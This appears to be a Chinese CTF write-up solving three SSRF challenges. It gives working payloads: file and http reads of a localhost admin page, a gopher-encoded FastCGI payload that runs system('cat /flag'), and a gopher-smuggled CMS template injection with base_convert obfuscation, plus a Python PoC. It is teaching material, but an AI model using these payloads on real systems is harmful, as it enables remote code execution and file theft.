SSRF 漏洞常见利用方式

0x10 SSRF1

题目考点:

SSRF中file协议的使用

题目源码:

<?php
highlight_file(__FILE__);
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($ch);
    curl_close($ch);
    echo $result;
}
$url = $_GET['url'];
curl($url);

对题目进行目录扫描发现:

[200][text/html; charset=UTF-8][24.00b] http://62.234.155.106:10024/admin.php                      
[200][text/html; charset=UTF-8][2.68kb] http://62.234.155.106:10024/index.php

由于没有过滤,尝试使用file协议来读取admin.php,拿到admin.php的源码

<?php
$real_ip=$_SERVER["REMOTE_ADDR"];
if($real_ip === "127.0.0.1"){
	if($_GET["passw0rd"] === "This_eAsy_passwOrd"){
		readfile("/flagTTTTTTTTTTis");
	}
	else{
		echo "get out";
	}
}else{
	echo "no,your ip not 127.0.0.1";
}
?

接下来就简单了:

我们可以通过file协议来读取flag或者通过http协议直接访问来获取flag

http://62.234.155.106:10024/?url=http://127.0.0.1/admin.php?passw0rd=This_eAsy_passwOrd

0x20 SSRF2

题目考点:SSRF中gopher协议的使用,如何利用gopher协议构造fastcgi的poc ,构造其他poc原理也是一样的,如果扫描出来的服务为

mysql服务或者redis服务这些,我们就可以构造这些服务的poc来攻击

题目源码:

<?php
highlight_file(__FILE__);
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($ch);
    curl_close($ch);
    echo $result;
}
$url = $_GET['url'];
$match_result=preg_match('/file:|dict/',$url);
if($match_result){
    die("no way");
}
curl($url);

发现过滤了file,dict协议,然后我们尝试扫目录以及利用gopher协议扫描端口,发现9001端口超时,且报错

<html>
<head><title>504 Gateway Time-out</title></head>
<body bgcolor="white">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.14.0 (Ubuntu)</center>
</body>
</html>
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->
<!-- a padding to disable MSIE and Chrome friendly error page -->

猜测服务为fastcgi,因此我们可以利用gopher协议来完成利用

https://github.com/tarunkant/Gopherus

使用开源工具生成poc

%25%30%31%25%30%31%25%30%30%25%30%31%25%30%30%25%30%38%25%30%30%25%30%30%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%31%25%30%34%25%30%34%25%30%30%25%30%66%25%31%30%25%35%33%25%34%35%25%35%32%25%35%36%25%34%35%25%35%32%25%35%66%25%35%33%25%34%66%25%34%36%25%35%34%25%35%37%25%34%31%25%35%32%25%34%35%25%36%37%25%36%66%25%32%30%25%32%66%25%32%30%25%36%36%25%36%33%25%36%37%25%36%39%25%36%33%25%36%63%25%36%39%25%36%35%25%36%65%25%37%34%25%32%30%25%30%62%25%30%39%25%35%32%25%34%35%25%34%64%25%34%66%25%35%34%25%34%35%25%35%66%25%34%31%25%34%34%25%34%34%25%35%32%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%66%25%30%38%25%35%33%25%34%35%25%35%32%25%35%36%25%34%35%25%35%32%25%35%66%25%35%30%25%35%32%25%34%66%25%35%34%25%34%66%25%34%33%25%34%66%25%34%63%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%65%25%30%32%25%34%33%25%34%66%25%34%65%25%35%34%25%34%35%25%34%65%25%35%34%25%35%66%25%34%63%25%34%35%25%34%65%25%34%37%25%35%34%25%34%38%25%33%36%25%33%31%25%30%65%25%30%34%25%35%32%25%34%35%25%35%31%25%35%35%25%34%35%25%35%33%25%35%34%25%35%66%25%34%64%25%34%35%25%35%34%25%34%38%25%34%66%25%34%34%25%35%30%25%34%66%25%35%33%25%35%34%25%30%39%25%34%62%25%35%30%25%34%38%25%35%30%25%35%66%25%35%36%25%34%31%25%34%63%25%35%35%25%34%35%25%36%31%25%36%63%25%36%63%25%36%66%25%37%37%25%35%66%25%37%35%25%37%32%25%36%63%25%35%66%25%36%39%25%36%65%25%36%33%25%36%63%25%37%35%25%36%34%25%36%35%25%32%30%25%33%64%25%32%30%25%34%66%25%36%65%25%30%61%25%36%34%25%36%39%25%37%33%25%36%31%25%36%32%25%36%63%25%36%35%25%35%66%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%37%33%25%32%30%25%33%64%25%32%30%25%30%61%25%36%31%25%37%35%25%37%34%25%36%66%25%35%66%25%37%30%25%37%32%25%36%35%25%37%30%25%36%35%25%36%65%25%36%34%25%35%66%25%36%36%25%36%39%25%36%63%25%36%35%25%32%30%25%33%64%25%32%30%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%39%25%36%65%25%37%30%25%37%35%25%37%34%25%30%66%25%31%37%25%35%33%25%34%33%25%35%32%25%34%39%25%35%30%25%35%34%25%35%66%25%34%36%25%34%39%25%34%63%25%34%35%25%34%65%25%34%31%25%34%64%25%34%35%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%66%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%32%65%25%37%30%25%36%38%25%37%30%25%30%64%25%30%31%25%34%34%25%34%66%25%34%33%25%35%35%25%34%64%25%34%35%25%34%65%25%35%34%25%35%66%25%35%32%25%34%66%25%34%66%25%35%34%25%32%66%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%35%25%30%30%25%30%31%25%30%30%25%33%64%25%30%34%25%30%30%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%37%33%25%37%39%25%37%33%25%37%34%25%36%35%25%36%64%25%32%38%25%32%37%25%36%33%25%36%31%25%37%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%37%25%32%39%25%33%62%25%36%34%25%36%39%25%36%35%25%32%38%25%32%37%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%34%64%25%36%31%25%36%34%25%36%35%25%32%64%25%36%32%25%37%39%25%32%64%25%35%33%25%37%30%25%37%39%25%34%34%25%33%33%25%37%32%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%30%61%25%32%37%25%32%39%25%33%62%25%33%66%25%33%65%25%30%30%25%30%30%25%30%30%25%30%30

二次编码后发送payload

为什么要二次编码:

因为在PHP在接收到参数后会做一次URL的解码,正如我们上图所看到的,%20等字符已经被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要进行二次URL编码。编码结果如下

查看poc 解码后

SERVER_SOFTWAREgo / fcgiclient 	REMOTE_ADDR127.0.0.1SERVER_PROTOCOLHTTP/1.1CONTENT_LENGTH61REQUEST_METHODPOST	KPHP_VALUEallow_url_include = On
disable_functions = 
auto_prepend_file = php://inputSCRIPT_FILENAME/var/www/html/index.php
DOCUMENT_ROOT/=<?php system('cat /flag');die('-----Made-by-SpyD3r-----
');?>

查看fastcgi通信漏洞利用原理

fpm 执行任意目标服务器上的文件,而不是我们想要其执行的文件,但在 php.ini 中有两个特殊的配置项 auto_prepend_fileauto_append_file,前者是让 PHP 在执行目标文件之前,先包含该文件中指定的文件,后者让 PHP 执行目标文件之后包含其指向的文件。

那么加入我们设置 auto_prepend_filephp://input,那么就等于在执行任何 php 文件前都要包含一遍 POST 的内容。所以,我们只需要把待执行的代码放在 Body 中,他们就能被执行了(除此之外还需要开启远程文件包含选项 allow_url_include

那么怎么设置 auto_prepend_file 的值?

这又涉及到 PHP-FPM 的两个环境变量,PHP_VALUEPHP_ADMIN_VALUE。这两个环境变量就是用来设置 PHP 配置项的,PHP_VALUE 可以设置模式为 PHP_INI_USERPHP_INI_ALL 的选项,PHP_ADMIN_VALUE 可以设置所有选项

disable_functions 除外,这个选项是 PHP 加载的时候就确定了,在范围内的函数直接不会被加载到 PHP 上下文中)

最后我们设置 auto_prepend_file = php://inputallow_url_include = On,将需要执行的代码放在 Body 中,即可执行任意代码

0x30 SSRF3

一、什么是gopher协议?

定义:Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

限制:gopher协议在各个编程语言中的使用限制

img

–wite-curlwrappers:运用curl工具打开url流
curl使用curl --version查看版本以及支持的协议

image-20210804173137440

我们可以看到gopher会发送一个请求到端口上,这点与http协议类似

image-20210804173346938

我们发现http协议发送的package其实就是:

GET /_abcd HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: curl/7.64.1
Accept: */*

这样类型的数据包

因此,我们可不可以使用gopher协议发送这样的package呢

答案是可以的

从上面的那张图中我们可以看出

我们在url后面的跟的第一个字符会被gopher吃掉,然后其余的字符会被发送的接口上

因此我们只需要构造一个package跟在gopher后面发送过去就可以

对于第三道题我做了一个poc

http://62.234.155.106:10043/?url=gopher://127.0.0.1:8000/_POST%2520/search/%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%253A8000%250ACache-Control%253A%2520max-age%253D0%250AUpgrade-Insecure-Requests%253A%25201%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Macintosh%253B%2520Intel%2520Mac%2520OS%2520X%252010_15_7%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/92.0.4515.107%2520Safari/537.36%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250AConnection%253A%2520close%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AContent-Length%253A%252069%250A%250Akeys%253D%257Bif%253Aarray_map%2528base_convert%25281751504350%252C10%252C36%2529%252Carray%2528id%2529%2529%257D%257Bend%2520if%257D

我们尝试使用curl发送这个包看会发生什么

gopher://127.0.0.1:8000/_POST%2520/search/%2520HTTP/1.1%250AHost%253A%2520127.0.0.1%253A8000%250ACache-Control%253A%2520max-age%253D0%250AUpgrade-Insecure-Requests%253A%25201%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Macintosh%253B%2520Intel%2520Mac%2520OS%2520X%252010_15_7%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/92.0.4515.107%2520Safari/537.36%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.9%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250AConnection%253A%2520close%250AContent-Type%253A%2520application/x-www-form-urlencoded%250AContent-Length%253A%252069%250A%250Akeys%253D%257Bif%253Aarray_map%2528base_convert%25281751504350%252C10%252C36%2529%252Carray%2528id%2529%2529%257D%257Bend%2520if%257D

image-20210804173915072

我们可以发现成功发送了一些数据到端口上,如果服务是php服务的话,php服务会在接收请求之前做一次url解码,因此我们发送出去的包是

POST /search/ HTTP/1.1
Host: 127.0.0.1:8000
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 69

keys={if:array_map(base_convert(1751504350,10,36),array(id))}{end if}

这样一个包给了8000端口上的cms,cms解析这个请求包,由此完成RCE

空格 (base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36))
/ (base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36))
: (base_convert(14,10,36)^base_convert(1,10,36)^base_convert(23,10,36))
. (base_convert(26,10,36)^base_convert(1,10,36)^base_convert(23,10,36))
phpinfo: base_convert(55490343972,10,36)
system: base_convert(1751504350,10,36)
ls : base_convert(784,10,36)
cat: base_convert(15941,10,36)
flag: base_convert(727432,10,36)

然后根据这个就可以构造出payload来cat flag

ls /
keys={if:array_map(base_convert(1751504350,10,36),array(base_convert(784,10,36).(base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36))))}{end if}
cat flag
keys={if:array_map(base_convert(1751504350,10,36),array(base_convert(15941,10,36).(base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).base_convert(727432,10,36)))}{end if}
#!/usr/bin/env python #coding:utf-8 from urllib.parse import quote import requests def poc(): #data = "keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}" data = "keys={if:array_map(base_convert(1751504350,10,36),array(base_convert(15941,10,36).(base_convert(19,10,36)^base_convert(28,10,36)^base_convert(9,10,36)).(base_convert(25,10,36)^base_convert(1,10,36)^base_convert(23,10,36)).base_convert(727432,10,36)))}{end if}" package = """POST /search/ HTTP/1.1 Host: 127.0.0.1:8000 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: {} """.format(len(data))+data url = "http://62.234.155.106:10043/?url=gopher://127.0.0.1:8000/_"+quote(quote(package)) return url if __name__ == '__main__': url = poc() print(url) #s = requests.get(url).text #print(s)